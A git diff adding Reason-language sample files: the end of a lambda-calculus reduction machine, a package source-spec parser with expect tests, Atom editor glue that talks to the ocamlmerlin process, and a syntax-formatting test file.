+      { clo, ctx };
+    /* head */
+    | { clo: Clo (Var 0) (Cmp (Dot (Clo e pi) _) sgm), ctx } =>
+      let clo = Clo e (Cmp pi sgm);
+      rule := "HEAD";
+      { clo, ctx };
+    /* tail */
+    | { clo: Clo (Var n) (Cmp (Dot (Clo _ _) rho) sgm), ctx } =>
+      let clo = Clo (Var (n - 1)) (Cmp rho sgm);
+      rule := "TAIL";
+      { clo, ctx };
+    /* shift */
+    | { clo: Clo (Var n) (Cmp Shift sgm), ctx } =>
+      let clo = Clo (Var (n + 1)) sgm;
+      rule := "SHIFT";
+      { clo, ctx };
+    /* id */
+    | { clo: Clo (Var n) (Cmp Id sgm), ctx } =>
+      let clo = Clo (Var n) sgm;
+      rule := "ID";
+      { clo, ctx };
+    | _ =>
+      pp std_formatter !rule state;
+      failwith "bad state";
+    } [@warning "-4"];
+    pp std_formatter !rule state;
+    state;
+  };
+
+  let norm e => {
+    let count = ref 0;
+    let state = ref (into e);
+    while (not (halted !state)) {
+      fprintf std_formatter "@\n--- step[%d] ---@\n" !count;
+      incr count;
+      state := step !state;
+    };
+    from !state;
+  };
+};
+
+let module Test = {
+  open Syntax.Term;
+  let l e => Lam e;
+  let ( *@ ) e0 e1 => App e0 e1;
+  let ff = l (l (Var 1));
+  let tt = l (l (Var 0));
+  let zero = l (l (Var 1));
+  let succ = l (l (l (Var 0 *@ Var 2)));
+  let one = succ *@ zero;
+  let two = succ *@ one;
+  let three = succ *@ two;
+  let const = l (l (Var 1));
+  let fix = l (l (Var 1 *@ (Var 0 *@ Var 0)) *@ l (Var 1 *@ (Var 0 *@ Var 0)));
+  let add = fix *@ l (l (l (Var 1 *@ Var 0 *@ l (succ *@ Var 3 *@ Var 0 *@ Var 1))));
+  let init = l (l (Var 0) *@ l (l (Var 1)));
+};
+
+let module Run = {
+  let go () => Machine.norm Test.init;
+};
\ No newline at end of file
diff --git a/samples/Reason/SourceSpec.re b/samples/Reason/SourceSpec.re
new file mode 100644
index 0000000000..5ca8974126
--- /dev/null
+++ b/samples/Reason/SourceSpec.re
@@ -0,0 +1,503 @@
+open Sexplib0.Sexp_conv;
+
+[@deriving (ord, sexp_of)]
+type t =
+  | Archive({
+      url: string,
+      checksum: option(Checksum.t),
+    })
+  | Git({
+      remote: string,
+      ref: option(string),
+      manifest: option(ManifestSpec.t),
+    })
+  | Github({
+      user: string,
+      repo: string,
+      ref: option(string),
+      manifest: option(ManifestSpec.t),
+    })
+  | LocalPath(Dist.local)
+  | NoSource;
+
+let show =
+  fun
+  | Github({user, repo, ref: None, manifest: None}) =>
+    Printf.sprintf("github:%s/%s", user, repo)
+  | Github({user, repo, ref: None, manifest: Some(manifest)}) =>
+    Printf.sprintf(
+      "github:%s/%s:%s",
+      user,
+      repo,
+      ManifestSpec.show(manifest),
+    )
+  | Github({user, repo, ref: Some(ref), manifest: None}) =>
+    Printf.sprintf("github:%s/%s#%s", user, repo, ref)
+  | Github({user, repo, ref: Some(ref), manifest: Some(manifest)}) =>
+    Printf.sprintf(
+      "github:%s/%s:%s#%s",
+      user,
+      repo,
+      ManifestSpec.show(manifest),
+      ref,
+    )
+
+  | Git({remote, ref: None, manifest: None}) =>
+    Printf.sprintf("git:%s", remote)
+  | Git({remote, ref: None, manifest: Some(manifest)}) =>
+    Printf.sprintf("git:%s:%s", remote, ManifestSpec.show(manifest))
+  | Git({remote, ref: Some(ref), manifest: None}) =>
+    Printf.sprintf("git:%s#%s", remote, ref)
+  | Git({remote, ref: Some(ref), manifest: Some(manifest)}) =>
+    Printf.sprintf("git:%s:%s#%s", remote, ManifestSpec.show(manifest), ref)
+
+  | Archive({url, checksum: Some(checksum)}) =>
+    Printf.sprintf("archive:%s#%s", url, Checksum.show(checksum))
+  | Archive({url, checksum: None}) => Printf.sprintf("archive:%s", url)
+
+  | LocalPath({path, manifest: None}) =>
+    Printf.sprintf("path:%s", DistPath.show(path))
+  | LocalPath({path, manifest: Some(manifest)}) =>
+    Printf.sprintf(
+      "path:%s/%s",
+      DistPath.show(path),
+      ManifestSpec.show(manifest),
+    )
+
+  | NoSource => "no-source:";
+
+let to_yojson = src => `String(show(src));
+
+let pp = (fmt, spec) => Fmt.pf(fmt, "%s", show(spec));
+
+let ofSource = (src: Source.t) =>
+  switch (src) {
+  | Dist(Archive({url, checksum})) =>
+    Archive({url, checksum: Some(checksum)})
+  | Dist(Git({remote, commit, manifest})) =>
+    Git({remote, ref: Some(commit), manifest})
+  | Dist(Github({user, repo, commit, manifest})) =>
+    Github({user, repo, ref: Some(commit), manifest})
+  | Dist(LocalPath({path, manifest})) => LocalPath({path, manifest})
+  | Dist(NoSource) => NoSource
+  | Link({path, manifest, kind: _}) => LocalPath({path, manifest})
+  };
+
+module Parse = {
+  include Parse;
+
+  let manifestFilenameBeforeSharp = till(c => c != '#', ManifestSpec.parser);
+
+  let collectString = xs => {
+    let l = List.length(xs);
+    let s = Bytes.create(l);
+    List.iteri(~f=(i, c) => Bytes.set(s, i, c), xs);
+    Bytes.unsafe_to_string(s);
+  };
+
+  let githubWithoutProto = {
+    let user = take_while1(c => c != '/');
+    let repo =
+      many_till(any_char, string(".git"))
+      >>| collectString
+      <|> take_while1(c => c != '#' && c != ':' && c != '/');
+
+    let manifest = maybe(char(':') *> manifestFilenameBeforeSharp);
+    let ref = maybe(char('#') *> take_while1(_ => true));
+    let make = (user, repo, manifest, ref) =>
+      Github({user, repo, ref, manifest});
+
+    make <$> (user <* char('/')) <*> repo <*> manifest <*> ref;
+  };
+
+  let github = {
+    let prefix = string("github:") <|> string("gh:");
+    prefix *> githubWithoutProto;
+  };
+
+  let git = {
+    let prefix = string("git+");
+    let proto = {
+      let gitWithProto =
+        prefix
+        *> (
+          string("https:")
+          <|> string("http:")
+          <|> string("ssh:")
+          <|> string("ftp:")
+          <|> string("rsync:")
+        );
+
+      gitWithProto <|> string("git:");
+    };
+
+    let remote = take_while1(c => c != '#' && c != ':');
+    let manifest = maybe(char(':') *> manifestFilenameBeforeSharp);
+    let ref = maybe(char('#') *> take_while1(_ => true));
+    let make = (proto, remote, manifest, ref) =>
+      Git({remote: proto ++ remote, ref, manifest});
+
+    make <$> proto <*> remote <*> manifest <*> ref;
+  };
+
+  let archive = {
+    let proto = string("https:") <|> string("http:");
+    let url = take_while1(c => c != '#');
+    let checksum = maybe(char('#') *> Checksum.parser);
+    let make = (proto, url, checksum) =>
+      Archive({url: proto ++ url, checksum});
+
+    make <$> proto <*> url <*> checksum;
+  };
+
+  let pathWithoutProto = make => {
+    let path = take_while1(_ => true);
+    let make = path => {
+      let path = Path.(normalizeAndRemoveEmptySeg(v(path)));
+      let (path, manifest) =
+        switch (ManifestSpec.ofString(Path.basename(path))) {
+        | Ok(manifest) =>
+          let path = Path.(remEmptySeg(parent(path)));
+          (path, Some(manifest));
+        | Error(_) => (path, None)
+        };
+
+      make(DistPath.ofPath(path), manifest);
+    };
+
+    make <$> path;
+  };
+
+  let pathLike = (proto, make) => string(proto) *> pathWithoutProto(make);
+
+  let file = {
+    let make = (path, manifest) => LocalPath({path, manifest});
+    pathLike("file:", make);
+  };
+
+  let path = {
+    let make = (path, manifest) => LocalPath({path, manifest});
+    pathLike("path:", make);
+  };
+
+  let source = {
+    let source =
+      Parse.(
+        github <|> git <|> archive <|> file <|> path <|> githubWithoutProto
+      );
+    let makePath = (path, manifest) => LocalPath({path, manifest});
+    switch%bind (peek_char_fail) {
+    | '.'
+    | '/' => pathWithoutProto(makePath)
+    | _ => source
+    };
+  };
+};
+
+let parser = Parse.source;
+
+let parse = Parse.(parse(source));
+
+let%test_module "parsing" =
+  (module
+   {
+     let parse = Parse.Test.parse(~sexp_of=sexp_of_t, parse);
+
+     let%expect_test "github:user/repo" = {
+       parse("github:user/repo");
+       %expect
+       {| (Github (user user) (repo repo) (ref ()) (manifest ())) |};
+     };
+
+     let%expect_test "github:user/repo.git" = {
+       parse("github:user/repo.git");
+       %expect
+       {| (Github (user user) (repo repo) (ref ()) (manifest ())) |};
+     };
+
+     let%expect_test "github:user/repo#ref" = {
+       parse("github:user/repo#ref");
+       %expect
+       {| (Github (user user) (repo repo) (ref (ref)) (manifest ())) |};
+     };
+
+     let%expect_test "github:user/repo:lwt.opam#ref" = {
+       parse("github:user/repo:lwt.opam#ref");
+       %expect
+       {| (Github (user user) (repo repo) (ref (ref)) (manifest ((Opam lwt.opam)))) |};
+     };
+
+     let%expect_test "github:user/repo:lwt.opam" = {
+       parse("github:user/repo:lwt.opam");
+       %expect
+       {| (Github (user user) (repo repo) (ref ()) (manifest ((Opam lwt.opam)))) |};
+     };
+
+     let%expect_test "gh:user/repo" = {
+       parse("gh:user/repo");
+       %expect
+       {| (Github (user user) (repo repo) (ref ()) (manifest ())) |};
+     };
+
+     let%expect_test "gh:user/repo#ref" = {
+       parse("gh:user/repo#ref");
+       %expect
+       {| (Github (user user) (repo repo) (ref (ref)) (manifest ())) |};
+     };
+
+     let%expect_test "gh:user/repo:lwt.opam#ref" = {
+       parse("gh:user/repo:lwt.opam#ref");
+       %expect
+       {| (Github (user user) (repo repo) (ref (ref)) (manifest ((Opam lwt.opam)))) |};
+     };
+
+     let%expect_test "gh:user/repo:lwt.opam" = {
+       parse("gh:user/repo:lwt.opam");
+       %expect
+       {| (Github (user user) (repo repo) (ref ()) (manifest ((Opam lwt.opam)))) |};
+     };
+
+     let%expect_test "git+https://example.com/repo.git" = {
+       parse("git+https://example.com/repo.git");
+       %expect
+       {| (Git (remote https://example.com/repo.git) (ref ()) (manifest ())) |};
+     };
+
+     let%expect_test "git+https://example.com/repo.git#ref" = {
+       parse("git+https://example.com/repo.git#ref");
+       %expect
+       {| (Git (remote https://example.com/repo.git) (ref (ref)) (manifest ())) |};
+     };
+
+     let%expect_test "git+https://example.com/repo.git:lwt.opam#ref" = {
+       parse("git+https://example.com/repo.git:lwt.opam#ref");
+       %expect
+       {|
+      (Git (remote https://example.com/repo.git) (ref (ref))
+       (manifest ((Opam lwt.opam)))) |};
+     };
+
+     let%expect_test "git+https://example.com/repo.git:lwt.opam" = {
+       parse("git+https://example.com/repo.git:lwt.opam");
+       %expect
+       {|
+      (Git (remote https://example.com/repo.git) (ref ())
+       (manifest ((Opam lwt.opam)))) |};
+     };
+
+     let%expect_test "git+http://example.com/repo.git:lwt.opam#ref" = {
+       parse("git+http://example.com/repo.git:lwt.opam#ref");
+       %expect
+       {|
+      (Git (remote http://example.com/repo.git) (ref (ref))
+       (manifest ((Opam lwt.opam)))) |};
+     };
+
+     let%expect_test "git+ftp://example.com/repo.git:lwt.opam#ref" = {
+       parse("git+ftp://example.com/repo.git:lwt.opam#ref");
+       %expect
+       {|
+      (Git (remote ftp://example.com/repo.git) (ref (ref))
+       (manifest ((Opam lwt.opam)))) |};
+     };
+
+     let%expect_test "git+ssh://example.com/repo.git:lwt.opam#ref" = {
+       parse("git+ssh://example.com/repo.git:lwt.opam#ref");
+       %expect
+       {|
+      (Git (remote ssh://example.com/repo.git) (ref (ref))
+       (manifest ((Opam lwt.opam)))) |};
+     };
+
+     let%expect_test "git+rsync://example.com/repo.git:lwt.opam#ref" = {
+       parse("git+rsync://example.com/repo.git:lwt.opam#ref");
+       %expect
+       {|
+      (Git (remote rsync://example.com/repo.git) (ref (ref))
+       (manifest ((Opam lwt.opam)))) |};
+     };
+
+     let%expect_test "git://example.com/repo.git" = {
+       parse("git://example.com/repo.git");
+       %expect
+       {| (Git (remote git://example.com/repo.git) (ref ()) (manifest ())) |};
+     };
+
+     let%expect_test "git://example.com/repo.git#ref" = {
+       parse("git://example.com/repo.git#ref");
+       %expect
+       {| (Git (remote git://example.com/repo.git) (ref (ref)) (manifest ())) |};
+     };
+
+     let%expect_test "git://example.com/repo.git:lwt.opam#ref" = {
+       parse("git://example.com/repo.git:lwt.opam#ref");
+       %expect
+       {|
+      (Git (remote git://example.com/repo.git) (ref (ref))
+       (manifest ((Opam lwt.opam)))) |};
+     };
+
+     let%expect_test "git://github.com/yarnpkg/example-yarn-package.git" = {
+       parse("git://github.com/yarnpkg/example-yarn-package.git");
+       %expect
+       {|
+      (Git (remote git://github.com/yarnpkg/example-yarn-package.git) (ref ())
+       (manifest ())) |};
+     };
+
+     let%expect_test "user/repo" = {
+       parse("user/repo");
+       %expect
+       {| (Github (user user) (repo repo) (ref ()) (manifest ())) |};
+     };
+
+     let%expect_test "user/repo#ref" = {
+       parse("user/repo#ref");
+       %expect
+       {| (Github (user user) (repo repo) (ref (ref)) (manifest ())) |};
+     };
+
+     let%expect_test "user/repo:lwt.opam#ref" = {
+       parse("user/repo:lwt.opam#ref");
+       %expect
+       {| (Github (user user) (repo repo) (ref (ref)) (manifest ((Opam lwt.opam)))) |};
+     };
+
+     let%expect_test "user/repo:lwt.opam" = {
+       parse("user/repo:lwt.opam");
+       %expect
+       {| (Github (user user) (repo repo) (ref ()) (manifest ((Opam lwt.opam)))) |};
+     };
+
+     let%expect_test "https://example.com/pkg.tgz" = {
+       parse("https://example.com/pkg.tgz");
+       %expect
+       {| (Archive (url https://example.com/pkg.tgz) (checksum ())) |};
+     };
+
+     let%expect_test "https://example.com/pkg.tgz#abc123" = {
+       parse("https://example.com/pkg.tgz#abc123");
+       %expect
+       {| (Archive (url https://example.com/pkg.tgz) (checksum ((Sha1 abc123)))) |};
+     };
+
+     let%expect_test "http://example.com/pkg.tgz" = {
+       parse("http://example.com/pkg.tgz");
+       %expect
+       {| (Archive (url http://example.com/pkg.tgz) (checksum ())) |};
+     };
+
+     let%expect_test "http://example.com/pkg.tgz#abc123" = {
+       parse("http://example.com/pkg.tgz#abc123");
+       %expect
+       {| (Archive (url http://example.com/pkg.tgz) (checksum ((Sha1 abc123)))) |};
+     };
+
+     let%expect_test "file:/some/path" = {
+       parse("file:/some/path");
+       %expect
+       {| (LocalPath ((path /some/path) (manifest ()))) |};
+     };
+
+     let%expect_test "file:/some/path/opam" = {
+       parse("file:/some/path/opam");
+       %expect
+       {| (LocalPath ((path /some/path) (manifest ((Opam opam))))) |};
+     };
+
+     let%expect_test "file:/some/path/lwt.opam" = {
+       parse("file:/some/path/lwt.opam");
+       %expect
+       {| (LocalPath ((path /some/path) (manifest ((Opam lwt.opam))))) |};
+     };
+
+     let%expect_test "file:/some/path/package.json" = {
+       parse("file:/some/path/package.json");
+       %expect
+       {| (LocalPath ((path /some/path) (manifest ((Esy package.json))))) |};
+     };
+
+     let%expect_test "path:/some/path" = {
+       parse("path:/some/path");
+       %expect
+       {| (LocalPath ((path /some/path) (manifest ()))) |};
+     };
+
+     let%expect_test "path:/some/path/opam" = {
+       parse("path:/some/path/opam");
+       %expect
+       {| (LocalPath ((path /some/path) (manifest ((Opam opam))))) |};
+     };
+
+     let%expect_test "path:/some/path/lwt.opam" = {
+       parse("path:/some/path/lwt.opam");
+       %expect
+       {| (LocalPath ((path /some/path) (manifest ((Opam lwt.opam))))) |};
+     };
+
+     let%expect_test "path:/some/path/package.json" = {
+       parse("path:/some/path/package.json");
+       %expect
+       {| (LocalPath ((path /some/path) (manifest ((Esy package.json))))) |};
+     };
+
+     let%expect_test "/some/path" = {
+       parse("/some/path");
+       %expect
+       {| (LocalPath ((path /some/path) (manifest ()))) |};
+     };
+
+     let%expect_test "/some/path/opam" = {
+       parse("/some/path/opam");
+       %expect
+       {| (LocalPath ((path /some/path) (manifest ((Opam opam))))) |};
+     };
+
+     let%expect_test "/some/path/lwt.opam" = {
+       parse("/some/path/lwt.opam");
+       %expect
+       {| (LocalPath ((path /some/path) (manifest ((Opam lwt.opam))))) |};
+     };
+
+     let%expect_test "/some/path/package.json" = {
+       parse("/some/path/package.json");
+       %expect
+       {| (LocalPath ((path /some/path) (manifest ((Esy package.json))))) |};
+     };
+
+     let%expect_test "./some/path" = {
+       parse("./some/path");
+       %expect
+       {| (LocalPath ((path some/path) (manifest ()))) |};
+     };
+
+     let%expect_test "./some/path/opam" = {
+       parse("./some/path/opam");
+       %expect
+       {| (LocalPath ((path some/path) (manifest ((Opam opam))))) |};
+     };
+
+     let%expect_test "./some/path/lwt.opam" = {
+       parse("./some/path/lwt.opam");
+       %expect
+       {| (LocalPath ((path some/path) (manifest ((Opam lwt.opam))))) |};
+     };
+
+     let%expect_test "./some/path/package.json" = {
+       parse("./some/path/package.json");
+       %expect
+       {| (LocalPath ((path some/path) (manifest ((Esy package.json))))) |};
+     };
+   });
+
+module Map =
+  Map.Make({
+    type nonrec t = t;
+    let compare = compare;
+  });
+
+module Set =
+  Set.Make({
+    type nonrec t = t;
+    let compare = compare;
+  });
diff --git a/samples/Reason/SuperMerlin.re b/samples/Reason/SuperMerlin.re
new file mode 100644
index 0000000000..feec78bccc
--- /dev/null
+++ b/samples/Reason/SuperMerlin.re
@@ -0,0 +1,308 @@
+/*
+ * Copyright (c) 2015-present, Facebook, Inc.
+ * All rights reserved.
+ *
+ */
+let startedMerlin: ref (option Js.Unsafe.any) = {contents: None};
+
+let fixedEnv = Js.Unsafe.js_expr "require('../lib/fixedEnv')";
+
+/* This and the subsequent big js blocks are copied over from Nuclide. More convenient for now. */
+let findNearestMerlinFile' = Js.Unsafe.js_expr {|
+  function findNearestMerlinFile(beginAtFilePath) {
+    var path = require('path');
+    var fs = require('fs');
+    var fileDir = path.dirname(beginAtFilePath);
+    var currentPath = path.resolve(fileDir);
+    do {
+      var fileToFind = path.join(currentPath, '.merlin');
+      var hasFile = fs.existsSync(fileToFind);
+      if (hasFile) {
+        return path.dirname(currentPath);
+      }
+
+      if (path.dirname(currentPath) === currentPath) {
+        // Bail
+        return '.';
+      }
+      currentPath = path.dirname(currentPath);
+    } while (true);
+  }
+|};
+
+let findNearestMerlinFile beginAtFilePath::path => {
+  let result = Js.Unsafe.fun_call findNearestMerlinFile' [|Js.Unsafe.inject (Js.string path)|];
+  Js.to_string result
+};
+
+let createMerlinReaderFnOnce' = Js.Unsafe.js_expr {|
+  function(ocamlMerlinPath, ocamlMerlinFlags, dotMerlinDir, fixedEnv) {
+    var spawn = require('child_process').spawn;
+    // To split while stripping out any leading/trailing space, we match on all
+    // *non*-whitespace.
+    var items = ocamlMerlinFlags === '' ? [] : ocamlMerlinFlags.split(/\s+/);
+    var merlinProcess = spawn(ocamlMerlinPath, items, {cwd: dotMerlinDir});
+    merlinProcess.stderr.on('data', function(d) {
+      console.error('Ocamlmerlin: something wrong happened:');
+      console.error(d.toString());
+    });
+
+    merlinProcess.stdout.on('close', function(d) {
+      console.error('Ocamlmerlin: closed.');
+    });
+
+    var cmdQueue = [];
+    var hasStartedReading = false;
+
+    var readline = require('readline');
+    var reader = readline.createInterface({
+      input: merlinProcess.stdout,
+      terminal: false,
+    });
+
+    return function(cmd, resolve, reject) {
+      cmdQueue.push([resolve, reject]);
+
+      if (!hasStartedReading) {
+        hasStartedReading = true;
+        reader.on('line', function(line) {
+          var response;
+          try {
+            response = JSON.parse(line);
+          } catch (err) {
+            response = null;
+          }
+          var resolveReject = cmdQueue.shift();
+          var resolve = resolveReject[0];
+          var reject = resolveReject[1];
+
+          if (!response || !Array.isArray(response) || response.length !== 2) {
+            reject(new Error('Unexpected ocamlmerlin output format: ' + line));
+            return;
+          }
+
+          var status = response[0];
+          var content = response[1];
+
+          var errorResponses = {
+            'failure': true,
+            'error': true,
+            'exception': true,
+          };
+
+          if (errorResponses[status]) {
+            reject(new Error('Ocamlmerlin returned an error: ' + line));
+            return;
+          }
+
+          resolve(content);
+        });
+      }
+
+      merlinProcess.stdin.write(JSON.stringify(cmd));
+    };
+  }
+|};
+
+let createMerlinReaderFnOnce
+    pathToMerlin::pathToMerlin
+    merlinFlags::merlinFlags
+    dotMerlinPath::dotMerlinPath =>
+  Js.Unsafe.fun_call
+    createMerlinReaderFnOnce'
+    [|
+      Js.Unsafe.inject (Js.string pathToMerlin),
+      Js.Unsafe.inject (Js.string merlinFlags),
+      Js.Unsafe.inject (Js.string dotMerlinPath),
+      Js.Unsafe.inject fixedEnv
+    |];
+
+let startMerlinProcess path::path =>
+  switch startedMerlin.contents {
+  | Some readerFn => ()
+  | None =>
+    let atomReasonPathToMerlin = Atom.Config.get "atom-reason.pathToMerlin";
+    let atomReasonMerlinFlags = Atom.Config.get "atom-reason.merlinFlags";
+    let atomReasonMerlinLogFile = Atom.Config.get "atom-reason.merlinLogFile";
+    switch atomReasonMerlinLogFile {
+    | JsonString "" => ()
+    | JsonString s => Atom.Env.setEnvVar "MERLIN_LOG" s
+    | _ => ()
+    };
+    let readerFn =
+      createMerlinReaderFnOnce
+        pathToMerlin::(Atom.JsonValue.unsafeExtractString atomReasonPathToMerlin)
+        merlinFlags::(Atom.JsonValue.unsafeExtractString atomReasonMerlinFlags)
+        dotMerlinPath::(findNearestMerlinFile beginAtFilePath::path);
+    startedMerlin.contents = Some readerFn
+  };
+
+let readOneLine cmd::cmd resolve reject =>
+  switch startedMerlin.contents {
+  | None => raise Not_found
+  | Some readerFn =>
+    Js.Unsafe.fun_call
+      readerFn
+      [|
+        Js.Unsafe.inject cmd,
+        Js.Unsafe.inject (Js.wrap_callback resolve),
+        Js.Unsafe.inject (Js.wrap_callback reject)
+      |]
+  };
+
+/* contextify is important for avoiding different buffers calling the backing merlin at the same time. */
+/* https://github.com/the-lambda-church/merlin/blob/d98a08d318ca14d9c702bbd6eeadbb762d325ce7/doc/dev/PROTOCOL.md#contextual-commands */
+let contextify query::query path::path => Js.Unsafe.obj [|
+  ("query", Js.Unsafe.inject query),
+  ("context", Js.Unsafe.inject (Js.array [|Js.string "auto", Js.string path|]))
+|];
+
+let prepareCommand text::text path::path query::query resolve reject => {
+  startMerlinProcess path;
+  /* These two commands should be run before every main command. */
+  readOneLine
+    cmd::(
+      contextify
+        /* The protocol command tells Merlin which API version we want to use. (2 for us) */
+        query::(
+          Js.array [|
+            Js.Unsafe.inject (Js.string "protocol"),
+            Js.Unsafe.inject (Js.string "version"),
+            Js.Unsafe.inject (Js.number_of_float 2.)
+          |]
+        )
+        path::path
+    )
+    (
+      fun _ =>
+        readOneLine
+          cmd::(
+            contextify
+              /* The tell command allows us to synchronize our text with Merlin's internal buffer. */
+              query::(
+                Js.array [|Js.string "tell", Js.string "start", Js.string "end", Js.string text|]
+              )
+              path::path
+          )
+          (fun _ => readOneLine cmd::(contextify query::query path::path) resolve reject)
+          reject
+    )
+    reject
+};
+
+let positionToJsMerlinPosition (line, col) => Js.Unsafe.obj [|
+  /* lines (rows) are 1-based for merlin, not 0-based, like for Atom */
+  ("line", Js.Unsafe.inject (Js.number_of_float (float_of_int (line + 1)))),
+  ("col", Js.Unsafe.inject (Js.number_of_float (float_of_int col)))
+|];
+
+/* Actual merlin commands we'll use. */
+let getTypeHint path::path text::text position::position resolve reject =>
+  prepareCommand
+    text::text
+    path::path
+    query::(
+      Js.array [|
+        Js.Unsafe.inject (Js.string "type"),
+        Js.Unsafe.inject (Js.string "enclosing"),
+        Js.Unsafe.inject (Js.string "at"),
+        Js.Unsafe.inject (positionToJsMerlinPosition position)
+      |]
+    )
+    resolve
+    reject;
+
+let getAutoCompleteSuggestions
+    path::path
+    text::text
+    position::position
+    prefix::prefix
+    resolve
+    reject =>
+  prepareCommand
+    text::text
+    path::path
+    query::(
+      Js.array [|
+        Js.Unsafe.inject (Js.string "complete"),
+        Js.Unsafe.inject (Js.string "prefix"),
+        Js.Unsafe.inject (Js.string prefix),
+        Js.Unsafe.inject (Js.string "at"),
+        Js.Unsafe.inject (positionToJsMerlinPosition position),
+        Js.Unsafe.inject (Js.string "with"),
+        Js.Unsafe.inject (Js.string "doc")
+      |]
+    )
+    resolve
+    reject;
+
+let getDiagnostics path::path text::text resolve reject =>
+  prepareCommand
+    text::text
+    path::path
+    query::(Js.array [|Js.Unsafe.inject (Js.string "errors")|])
+    resolve
+    reject;
+
+let locate path::path text::text extension::extension position::position resolve reject =>
+  prepareCommand
+    text::text
+    path::path
+    query::(
+      Js.array [|
+        Js.Unsafe.inject (Js.string "locate"),
+        Js.Unsafe.inject (Js.string ""),
+        Js.Unsafe.inject (Js.string extension),
+        Js.Unsafe.inject (Js.string "at"),
+        Js.Unsafe.inject (positionToJsMerlinPosition position)
+      |]
+    )
+    resolve
+    reject;
+
+/* reject */
+let getOccurrences path::path text::text position::position resolve reject =>
+  prepareCommand
+    text::text
+    path::path
+    query::(
+      Js.array [|
+        Js.Unsafe.inject (Js.string "occurrences"),
+        Js.Unsafe.inject (Js.string "ident"),
+        Js.Unsafe.inject (Js.string "at"),
+        Js.Unsafe.inject (positionToJsMerlinPosition position)
+      |]
+    )
+    resolve
+    reject;
+
+let destruct
+    path::path
+    text::text
+    startPosition::startPosition
+    endPosition::endPosition
+    resolve
+    reject =>
+  prepareCommand
+    text::text
+    path::path
+    query::(
+      Js.array [|
+        Js.Unsafe.inject (Js.string "case"),
+        Js.Unsafe.inject (Js.string "analysis"),
+        Js.Unsafe.inject (Js.string "from"),
+        Js.Unsafe.inject (positionToJsMerlinPosition startPosition),
+        Js.Unsafe.inject (Js.string "to"),
+        Js.Unsafe.inject (positionToJsMerlinPosition endPosition)
+      |]
+    )
+    resolve
+    reject;
+
+let getOutline path::path text::text resolve reject =>
+  prepareCommand
+    text::text
+    path::path
+    query::(Js.array [|Js.Unsafe.inject (Js.string "outline")|])
+    resolve
+    reject;
\ No newline at end of file
diff --git a/samples/Reason/Syntax.re b/samples/Reason/Syntax.re
new file mode 100644
index 0000000000..bdda48b2f2
--- /dev/null
+++ b/samples/Reason/Syntax.re
@@ -0,0 +1,989 @@
+/* Copyright (c) 2015-present, Facebook, Inc. All rights reserved. */
+[@@@autoFormat let wrap = 80; let shift = 2];
+
+Modules.run ();
+
+Polymorphism.run ();
+
+Variants.run ();
+
+BasicStructures.run ();
+
+TestUtils.printSection "General Syntax";
+
+/* Won't work! */
+/* let matchingFunc a = match a with */
+/*   `Thingy x => (print_string "matched thingy x"); x */
+/*   | `Other x => (print_string "matched other x"); x;; */
+/*  */
+let matchingFunc a =>
+  switch a {
+  | `Thingy x =>
+    print_string "matched thingy x";
+    let zz = 10;
+    zz
+  | `Other x =>
+    print_string "matched other x";
+    x
+  };
+
+type firstTwoShouldBeGroupedInParens =
+  (int => int) => int => int;
+
+type allParensCanBeRemoved =
+  int => int => int => int;
+
+type firstTwoShouldBeGroupedAndFirstThree =
+  ((int => int) => int) => int;
+
+/* Same thing now but with type constructors instead of each int */
+type firstTwoShouldBeGroupedInParens =
+  (list int => list int) => list int => list int;
+
+type allParensCanBeRemoved =
+  list int => list int => list int => list int;
+
+type firstTwoShouldBeGroupedAndFirstThree =
+  ((list int => list int) => list int) =>
+  list int;
+
+type myRecordType = {
+  firstTwoShouldBeGroupedInParens:
+    (int => int) => int => int,
+  allParensCanBeRemoved:
+    int => int => int => int,
+  firstTwoShouldBeGroupedAndFirstThree:
+    ((int => int) => int) => int
+};
+
+type firstNamedArgShouldBeGroupedInParens =
+  first::(int => int) => second::int => int;
+
+type allParensCanBeRemoved =
+  first::int => second::int => third::int => int;
+
+type firstTwoShouldBeGroupedAndFirstThree =
+  first::((int => int) => int) => int;
+
+/* Same thing now, but with type constructors instead of int */
+type firstNamedArgShouldBeGroupedInParens =
+  first::(list int => list int) =>
+  second::list int =>
+  list int;
+
+type allParensCanBeRemoved =
+  first::list int =>
+  second::list int =>
+  third::list int =>
+  list int;
+
+type firstTwoShouldBeGroupedAndFirstThree =
+  first::((list int => list int) => list int) =>
+  list int;
+
+type firstNamedArgShouldBeGroupedInParens =
+  first::(int => int)? =>
+  second::int list? =>
+  int;
+
+/* The arrow necessitates parens around the next two args. The ? isn't what
+ * makes the parens necessary. */
+type firstNamedArgShouldBeGroupedInParensAndSecondNamedArg =
+  first::(int => int)? =>
+  second::(int => int)? =>
+  int;
+
+type allParensCanBeRemoved =
+  first::int? =>
+  second::int? =>
+  third::int? =>
+  int;
+
+type firstTwoShouldBeGroupedAndFirstThree =
+  first::((int => int) => int) => int;
+
+type noParens =
+  one::int => int => int => two::int => int;
+
+type noParensNeeded =
+  one::int => int => int => two::int => int;
+
+type firstNamedArgNeedsParens =
+  one::(int => int => int) => two::int => int;
+
+/* Now, let's try type aliasing */
+/* Unless wrapped in parens, types between arrows may not be aliased, may not
+ * themselves be arrows. */
+type parensRequiredAroundFirstArg =
+  (list int as 'a) => int as 'a;
+
+type parensRequiredAroundReturnType =
+  (list int as 'a) => (int as 'a);
+
+type parensRequiredAroundReturnType =
+  (list int as 'a) => (int as 'a) as 'b;
+
+type noParensNeededWhenInTuple =
+  (list int as 'a, list int as 'b) as 'entireThing;
+
+type myTypeDef 'a = list 'a;
+
+type instatiatedTypeDef = myTypeDef int => int;
+
+/* Test a type attribute for good measure */
+/* We should clean up all of the attribute tagging eventually, but for now,
+ * let's make it super ugly to get out of the way of all the formatting/parsing
+ * implementations (fewer conflicts during parsing, fewer edge cases during
+ * printing).
+ */
+type something = (
+  int,
+  int [@lookAtThisAttribute]
+);
+
+type longWrappingTypeDefinitionExample =
+  M_RK__G.Types.instance
+    (TGRecognizer.tGFields unit unit)
+    (TGRecognizer.tGMethods unit unit);
+
+type semiLongWrappingTypeDefinitionExample =
+  M_RK__Gesture.Types.instance
+    TGRecognizerFinal.tGFields
+    TGRecognizerFinal.tGMethods;
+
+type semiLongWrappingTypeWithConstraint =
+  M_RK__Gesture.Types.instance
+    'a
+    TGRecognizerFinal.tGFields
+    TGRecognizerFinal.tGMethods
+constraint 'a = (unit, unit);
+
+type onelineConstrain = 'a constraint 'a = int;
+
+/* This must be in trunk but not in this branch of OCaml */
+/* type withNestedRecords = MyConstructor {myField: int} */
+type colors =
+  | Red int
+  | Black int
+  | Green int;
+
+/* Another approach is to require declared variants to wrap any record */
+/* type myRecord = MyRecord {name: int}; */
